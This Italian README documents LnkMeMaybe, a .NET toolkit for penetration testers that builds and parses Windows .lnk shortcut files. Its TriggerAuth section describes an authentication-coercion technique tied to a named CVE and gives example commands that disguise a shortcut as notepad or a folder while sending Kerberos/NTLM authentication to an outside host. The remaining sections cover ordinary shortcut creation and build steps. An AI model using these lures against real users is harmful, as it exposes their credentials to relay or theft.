
Strumenti di creazione e ricerca Lnk
Un toolkit .NET 8 per creare e analizzare file Windows Shell Link (.lnk). Include un generatore da riga di comando (LnkMeMaybe) e un editor grafico (LnkUi). Pensato per la ricerca sulla sicurezza e i test di penetrazione.
| Progetto | Descrizione |
|---|
Lnk/ | Libreria principale. Analizza e genera il formato binario .lnk secondo la specifica MS-SHLLINK. LnkHandler è il punto di ingresso principale e compone ShellLinkHeader, LinkTargetIDList, LinkInfo, StringData ed ExtraData. |
LnkMeMaybe/ | Strumento CLI. Comandi per generare una varietà di file .lnk. Usa il framework Titanis.Cli. |
LnkUi/ | Editor desktop MVVM Avalonia 11. Sette ViewModel incapsulano i corrispondenti componenti della libreria Lnk. Utile per l'esplorazione e l'ispezione manuale dei file .lnk. |
LnkTests/ | Suite MSTest. Campioni reali di file .lnk sono incorporati come risorse. Copre ShellLinkHeader e LinkInfo. |
Tutti i comandi condividono i seguenti parametri di base (da BaseSavedCommand):
| Parametro | Alias | Obbligatorio | Descrizione |
|---|---|---|---|
--OutputPath | Sì | Percorso del filesystem in cui scrivere il file .lnk. | |
--Overwrite | No | Consente di sovrascrivere un file esistente in OutputPath. | |
--DisplayName | No | Testo mostrato al passaggio del mouse sulla scorciatoia. Supporta \n per le nuove righe. | |
--IconPath / -I | -I | No | Percorso di un .exe o .dll da usare come icona della scorciatoia. Deve esistere sul sistema target. |
--IconIndex | No | Indice della risorsa icona all'interno del file specificato da --IconPath. Predefinito: 0. |
TriggerAuth (CVE-2026-25185)Crea un .lnk che attiva l'autenticazione Kerberos (con fallback a NTLM) verso un server specificato. Il .lnk non esegue nulla.
Scenari in cui viene attivata l'autenticazione:
.lnk — l'account dell'utente si autentica in uscita..lnk viene inserito in una posizione che la macchina è configurata per indicizzare — SearchProtocolHost si autentica come SYSTEM.MSSense.exe si autentica come SYSTEM.Parametri:
| Parametro | Alias | Obbligatorio | Descrizione |
|---|---|---|---|
--FakePath / -F | -F | Sì | Percorso mostrato come destinazione nelle proprietà del .lnk. |
--Server / -S | -S | Sì | Hostname, IP o percorso UNC del server a cui inviare l'autenticazione. Aggiunge IPC$ se non viene specificata una condivisione. |
--Darwin | No | Identificatore Darwin memorizzato nel .lnk. Può essere un valore qualsiasi. Predefinito: unset. |
Esempi:
# Send authentication to \\controlled.example.org\IPC$ while posing as notepad
LnkMeMaybe.exe TriggerAuth -F C:\Windows\notepad.exe -S \\controlled.example.org -DisplayName notepad.exe -I C:\Windows\notepad.exe -OutputPath notepad.lnk
# Send authentication to a specific share path while posing as a folder shortcut
LnkMeMaybe.exe TriggerAuth -F C:\Users\Public -S \\controlled.example.org\validshare\somefile.txt -DisplayName C:\Users\Public -I C:\Windows\system32\imageres.dll -IconIndex 3 -OutputPath Public.lnk
WebShortcutCrea un file .lnk che punta a un URL web. Normalmente Windows crea un file .url per le scorciatoie web; questo comando produce invece un .lnk.
Parametri:
| Parametro | Obbligatorio | Descrizione |
|---|---|---|
--Url | Sì | L'URL a cui deve puntare la scorciatoia. Deve essere un URI assoluto ben formato. |
Esempio:
LnkMeMaybe.exe WebShortcut -Url https://example.org -OutputPath example.lnk
LocalShortcutCrea una scorciatoia Windows standard per un file o una cartella locale. Il percorso di destinazione è memorizzato come elenco di ID di elementi shell (PIDL) — il formato nativo usato da Windows per le scorciatoie del filesystem.
Parametri:
| Parametro | Alias | Obbligatorio | Descrizione |
|---|---|---|---|
--TargetPath | Sì | Percorso assoluto del file o della cartella di destinazione. | |
--Arguments | No | Argomenti della riga di comando da passare alla destinazione. | |
--WorkingDirectory | -W | No | Directory di lavoro per il processo di destinazione. |
--RunAsAdmin | No | Richiede l'elevazione UAC all'avvio della scorciatoia. | |
--ShowCommand | No | Stato della finestra all'avvio: Normal, Maximized o Minimized. |
Esempi:
# Create a shortcut to Notepad
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\notepad.exe --OutputPath notepad.lnk
# Shortcut with arguments and a custom icon
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\notepad.exe --Arguments myfile.txt --WorkingDirectory C:\Users\Public --OutputPath notepad.lnk -I C:\Windows\notepad.exe
# Shortcut that opens maximised and requests elevation
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\System32\cmd.exe --ShowCommand Maximized --RunAsAdmin --OutputPath cmd_admin.lnk
EnvShortcutCrea un .lnk in cui il percorso di destinazione è memorizzato come stringa espandibile di variabili d'ambiente (EnvironmentVariableDataBlock). Questo è il formato che Windows usa per le scorciatoie degli eseguibili di sistema (ad es. %SystemRoot%\system32\notepad.exe). Le variabili vengono espanse al momento dell'avvio, rendendo la scorciatoia portabile tra le installazioni di Windows.
Parametri:
| Parametro | Alias | Obbligatorio | Descrizione |
|---|---|---|---|
--TargetPath | Sì | Percorso di destinazione; può includere variabili d'ambiente come %SystemRoot% o %USERPROFILE%. | |
--Arguments | No | Argomenti della riga di comando da passare alla destinazione. | |
--WorkingDirectory | -W | No | Directory di lavoro per il processo di destinazione. |
--RunAsAdmin | No | Richiede l'elevazione UAC all'avvio della scorciatoia. | |
--ShowCommand | No | Stato della finestra all'avvio: Normal, Maximized o Minimized. |
Esempi:
# Shortcut to Notepad using an environment variable path
LnkMeMaybe.exe EnvShortcut --TargetPath "%SystemRoot%\system32\notepad.exe" --OutputPath notepad.lnk
# Shortcut to a user-profile app with arguments
LnkMeMaybe.exe EnvShortcut --TargetPath "%LOCALAPPDATA%\MyApp\app.exe" --Arguments "--config default" --WorkingDirectory "%USERPROFILE%" --OutputPath myapp.lnk
# Build (debug)
dotnet build Lnk.sln
# Build (release, core projects only)
dotnet build -c Release build.slnf
# Run all tests
dotnet test
# Run a specific test class
dotnet test --filter "ClassName=lnkHeader"
# Publish self-contained single-file executable (Windows x64)
dotnet publish -c Release -r win-x64 -p:PublishSingleFile=true -p:DebugType=None --self-contained true --output LnkMeMaybeWindows LnkMeMaybe/LnkMeMaybe.csproj
Binari precompilati per Windows, Linux e macOS (x64 e arm64) sono disponibili nella pagina Rilasci.
Ogni release include build sia standalone (senza runtime .NET richiesto) che dipendenti dal framework (richiedono il runtime .NET 8) per LnkMeMaybe e LnkUi.
Sistemi di IA sono stati utilizzati per le seguenti attività:
Il codice presente in questo repository è stato per il resto creato e revisionato da esseri umani.